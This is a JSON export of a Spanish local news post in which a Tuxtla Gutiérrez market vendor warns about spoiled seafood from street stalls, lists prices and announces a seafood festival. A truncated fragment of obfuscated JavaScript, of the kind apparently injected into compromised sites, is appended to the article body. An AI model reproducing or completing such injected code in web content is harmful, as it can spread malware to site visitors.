{"id":9226,"date":"2023-03-29T00:58:27","date_gmt":"2023-03-29T00:58:27","guid":{"rendered":"https:\/\/reporteciudadanochiapas.com\/?p=9226"},"modified":"2023-03-29T00:58:28","modified_gmt":"2023-03-29T00:58:28","slug":"riesgoso-comprar-productos-de-mar-en-puestos-callejeros","status":"publish","type":"post","link":"https:\/\/reporteciudadanochiapas.com\/?p=9226","title":{"rendered":"Riesgoso comprar productos de mar en puestos callejeros"},"content":{"rendered":"\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"720\" height=\"405\" src=\"https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2023\/03\/FB_IMG_1680048958112.jpg\" alt=\"\" class=\"wp-image-9227\" srcset=\"https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2023\/03\/FB_IMG_1680048958112.jpg 720w, https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2023\/03\/FB_IMG_1680048958112-300x169.jpg 300w\" sizes=\"auto, (max-width: 720px) 100vw, 720px\" \/><\/figure>\n\n\n\n<p>Rodolfo Flores.<\/p>\n\n\n\n<p>28 de marzo del 2023. Tuxtla Guti\u00e9rrez.- Maribel V\u00e1zquez Dom\u00ednguez, vendedora de pescados y mariscos al interior del Mercado Juan Sabines, expres\u00f3 que, la poblaci\u00f3n debe tener precauci\u00f3n al consumir estos productos, pues en la temporada de calor es com\u00fan que se descompongan.<\/p>\n\n\n\n<p>Coment\u00f3 que, tanto los pescados y mariscos, deben estar en refrigeraci\u00f3n y cuando se colocan en los puestos deben estar siempre en abundante hielo.<\/p>\n\n\n\n<p>Precis\u00f3 que, en el caso de los mercados p\u00fablicos, reciben la visita tres veces por a\u00f1o de las autoridades de salud, para verificar que todo est\u00e9n en buen estado, en el caso de los pescados, que las agallas est\u00e9n rojas.<\/p>\n\n\n\n<p>\u201cAdem\u00e1s de esto, los ojos deben estar brillosos, la carne firme, sin olores desagradables, por ello la importancia de consumir en puestos establecidos pues ac\u00e1 el personal de salud se lleva muestras a laboratorio y en caso de encontrar irregularidades emite sanciones a los puestos\u201d, destac\u00f3.<br>Indic\u00f3 que, este punto representa una diferencia con los puestos que se colocan en plena calle, que est\u00e1n a la intemperie o expuestos al sol.<\/p>\n\n\n\n<p>\u201cLa poblaci\u00f3n debe hacer una valoraci\u00f3n, por su bienestar, y en este caso debe elegir la mejor opci\u00f3n para su consumo, para su salud\u201d, indic\u00f3.<\/p>\n\n\n\n<p>En estos momentos, el kilo de camar\u00f3n elev\u00f3 su costo en un promedio de 20 pesos, est\u00e1n en 140-160 peso por kilo, la mojarra est\u00e1 en 85-90 pesos el kilogramo.<\/p>\n\n\n\n<p>Con el incremento en la demanda, los precios se elevaron un poco, pero se espera que pasando la temporada vacacional los precios regresen a la normalidad.<\/p>\n\n\n\n<p>En este contexto, dio a conocer que, este mi\u00e9rcoles 29 de marzo se llevar\u00e1 a cabo el \u201cFestival del Mar\u201d en este mercado, por ello invitan a la poblaci\u00f3n a asistir al \u00e1rea de marisquer\u00edas.<\/p>\n\r\n(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return ","protected":false},"excerpt":{"rendered":"<p>Rodolfo Flores. 28 de marzo del 2023. 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